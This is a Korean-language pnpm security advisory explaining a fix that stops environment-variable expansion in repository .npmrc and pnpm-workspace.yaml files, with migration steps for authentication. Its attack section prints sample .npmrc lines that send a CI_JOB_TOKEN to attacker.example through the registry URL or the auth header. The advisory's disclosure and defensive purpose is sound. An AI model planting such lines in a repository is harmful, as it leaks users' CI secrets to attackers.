저장소의 .npmrc에서 pnpm이 더 이상 환경 변수를 확장하지 않는 이유

pnpm은 이전에 ${ENV_VAR} 플레이스홀더를 발견하는 모든 곳에서 확장했습니다 — 방금 클론한 저장소 안에 있는 .npmrc 및 pnpm-workspace.yaml 파일도 포함해서 말입니다. 이는 악의적인 저장소가 사용자 환경의 비밀 정보를 탈취하는 수단이 될 수 있는 것으로 드러났습니다. 버전 v10.34.2 및 v11.5.3부터 pnpm은 저장소가 제어하는 레지스트리 및 자격 증명 설정에서 환경 변수를 확장하지 않습니다.

이는 보안 수정(GHSA-3qhv-2rgh-x77r)이며, 일부 설정에서는 호환성이 깨지는 변경입니다. 이 글에서는 공격 방식, 정확히 무엇이 변경되었는지, 그리고 마이그레이션 방법을 설명합니다.

공격 방식#

저장소에 커밋된 .npmrc는 저장소를 클론하는 순간 공격자가 제어하는 파일이 됩니다. 이 변경 전에는 pnpm이 종속성을 해석할 때 해당 파일의 환경 변수를 확장했습니다 — 수명 주기 스크립트가 실행되기 전에 일어나므로, pnpm의 스크립트 차단 보호 기능도 도움이 되지 않았습니다.

다음과 같은 .npmrc를 포함한 저장소를 생각해 보세요:

registry=https://attacker.example/${CI_JOB_TOKEN}/

또는 다음과 같은 경우:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

환경에 CI_JOB_TOKEN(또는 추측 가능한 다른 비밀 정보)이 있는 상태에서 pnpm install을 실행하면, pnpm은 플레이스홀더를 확장하여 비밀 정보를 공격자에게 바로 전송했습니다 — 요청 URL(https://attacker.example/<secret>/...) 또는 Authorization: Bearer <secret> 헤더를 통해서 말입니다. 같은 수법이 pnpm-workspace.yaml의 registry URL을 통해서도 통했습니다.

설치 스크립트도, postinstall도 필요 없었습니다 — 종속성을 해석하는 것만으로도 토큰을 유출하기에 충분했습니다.

변경 사항#

이제 pnpm은 환경 변수 확장을 신뢰 여부에 따라 처리합니다. 값이 저장소가 제어하는 파일에서 온 경우 환경 변수는 더 이상 확장되지 않습니다:

  • 프로젝트 및 워크스페이스 .npmrc의 경우: registry, @scope:registry, 프록시 URL, URL 범위 키(//host/…), 자격 증명 값(_authToken, _auth, _password, username, tokenHelper, cert, key).
  • 파일 pnpm-workspace.yaml의 경우: 레지스트리 URL(registry, 그리고 registries / namedRegistries의 값).

이러한 위치에 ${...} 플레이스홀더가 포함된 설정은 무시되며, pnpm은 마이그레이션 방법을 설명하는 경고를 출력합니다.

저장소에서 오지 않은 구성에서는 환경 변수가 여전히 확장됩니다:

  • 사용자 수준의 ~/.npmrc(및 npmrcAuthFile이 가리키는 파일);
  • 전역 구성;
  • 명령줄 옵션;
  • 환경 구성.

이 경계가 핵심입니다. 토큰은 설치하려는 코드와 함께 배포되는 위치가 아니라 사용자가 제어하는 위치에 있어야 합니다. 또한 저장소의 .npmrc가(userconfig, globalconfig 또는 prefix를 통해) pnpm이 신뢰할 수 있는 사용자/전역 구성으로 취급하는 파일을 바꿀 수 있었던 관련 예외 사례도 강화했습니다. 이제 이러한 대상은 신뢰할 수 있는 소스에서만 해석됩니다.

마이그레이션 방법#

업그레이드 후 인증이 동작하지 않는다면, 커밋된 .npmrc에서 토큰을 빼내어 신뢰할 수 있는 위치로 옮기세요.

사용자/전역 구성에 작성하세요(pnpm 자체 CI가 사용하는 방법입니다):

pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN"

pnpm config set은 기본적으로 사용자/전역 구성에 작성하며 프로젝트 .npmrc에는 절대 작성하지 않으므로, 토큰이 저장소에 포함되지 않습니다.

또는 자격 증명을 전적으로 환경 변수를 통해 제공하세요 — .npmrc 파일이 전혀 필요 없습니다(v11.6부터). pnpm은 pnpm_config_//…(및 npm_config_//…) 환경 변수에서 URL 범위 레지스트리 설정을 읽습니다:

env "pnpm_config_//registry.npmjs.org/:_authToken=$NPM_TOKEN" pnpm install

변수 이름에 /, :, .가 포함되어 있으므로 export와 NAME=value 셸 할당 구문은 이를 잘못된 식별자로 거부합니다. 단일 명령에 전달하려면(위에 표시된 것처럼) env 유틸리티를 사용하고, 아니면 임의의 변수 이름을 허용하는 도구(예: CI 제공자의 환경 설정)를 통해 설정하세요.

이는 커밋된 //registry.npmjs.org/:_authToken=${NPM_TOKEN} 줄을 파일 없이 대체하는 가장 직접적인 방법입니다. 자격 증명이 적용되는 레지스트리가(신뢰할 수 있는) 변수 이름에 인코딩되어 있으므로, 악의적인 저장소가 이를 다른 호스트로 돌릴 수 없습니다. 이 값은 프로젝트 .npmrc를 재정의하지만 명령줄 옵션에 의해 재정의되며, 같은 키가 두 접두사로 모두 설정된 경우 pnpm_config_가 우선합니다. (tokenHelper는 의도적으로 환경 변수에서 절대 읽지 않습니다.)

또는 ${NPM_TOKEN} 줄을 저장소 대신 사용자 수준의 ~/.npmrc에 두세요 — 그곳에서는 환경 변수가 여전히 확장됩니다.

GitHub Actions에서는 registry-url 입력을 사용하는 actions/setup-node가 이미 사용자 수준의 .npmrc를 작성하므로, NODE_AUTH_TOKEN을 통한 인증은 추가 변경 없이 계속 동작합니다:

- uses: actions/setup-node@v4
  with:
    node-version: 24
    registry-url: https://registry.npmjs.org
- run: pnpm install
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

다른 CI 시스템에서 모든 파이프라인을 수정하기 어려운 경우, CI 환경에 환경 변수 하나를 설정하여 저장소 자체의 .npmrc를 신뢰할 수 있다고 선언할 수 있습니다:

# v11:
PNPM_CONFIG_NPMRC_AUTH_FILE=.npmrc
# v10 (or as a fallback):
NPM_CONFIG_USERCONFIG=.npmrc

이 신뢰 선언은 저장소가 아니라 환경에서 오므로, 악의적인 저장소가 이를 대신 설정할 수 없습니다. 신뢰할 수 있는 저장소를 빌드하는 환경에서만 사용하세요. 해당 체크아웃에 대한 보호가 완전히 비활성화됩니다.

동적 레지스트리 URL#

같은 규칙이 레지스트리 및 프록시 URL에도 적용됩니다. 환경 변수를 사용하여 레지스트리 URL을 템플릿화했다면, 이를 신뢰할 수 있는 소스(pnpm config set, 사용자 ~/.npmrc, CLI 옵션 또는 환경 구성)로 옮기세요. URL이 비밀이 아니라면 해석된 값을 프로젝트 .npmrc에 직접 작성하면 됩니다 — ${...} 플레이스홀더만 무시되며, 리터럴 URL은 문제없습니다.

범위별로 다른 토큰#

사람들이 ${...} 플레이스홀더를 사용한 흔한 이유는 하나의 레지스트리 호스트에 대해 여러 토큰을 다루기 위해서였습니다. 버전 v11.7부터 pnpm은 여러 범위가 같은 레지스트리 URL을 공유하더라도 패키지 범위마다 다른 인증 토큰을 선택할 수 있습니다 — 따라서 더 이상 하나의 키를 변수로 템플릿화할 필요가 없습니다. 인증 키에서 레지스트리 URL 뒤에 범위를 넣으세요(신뢰할 수 있는 위치, 예: 사용자 ~/.npmrc에서):

@org-a:registry=https://npm.pkg.github.com/
@org-b:registry=https://npm.pkg.github.com/

//npm.pkg.github.com/:@org-a:_authToken=${ORG_A_TOKEN}
//npm.pkg.github.com/:@org-b:_authToken=${ORG_B_TOKEN}

패키지 @org-a/*를 설치하거나 게시할 때는 ORG_A_TOKEN을 사용하고, @org-b/*는 ORG_B_TOKEN을 사용합니다. 자세한 내용은 범위별 인증 토큰을 참조하세요.

호환성 문제에 대해 사과드립니다#

패치 릴리스에 호환성이 깨지는 변경을 포함하는 것은 저희가 가볍게 결정하는 일이 아니며, 이로 인해 일부 CI 파이프라인에 문제가 생겼다는 것을 알고 있습니다. 하지만 이는 실제로 동작하는 익스플로잇이 있는 보고된 취약점이었고, 이를 방치하거나 다음 메이저 버전까지 기다리는 것은 어떤 저장소든 사용자의 비밀 정보를 읽을 수 있는 방법을 알면서도 배포하는 것을 의미했을 것입니다. 수정 사항을 패치로 v10에 백포트하는 것이 기존 사용자가 실제로 이를 받을 수 있는 유일한 방법이었습니다.

전체 마이그레이션 가이드는 인증 설정 문서를 참조하세요.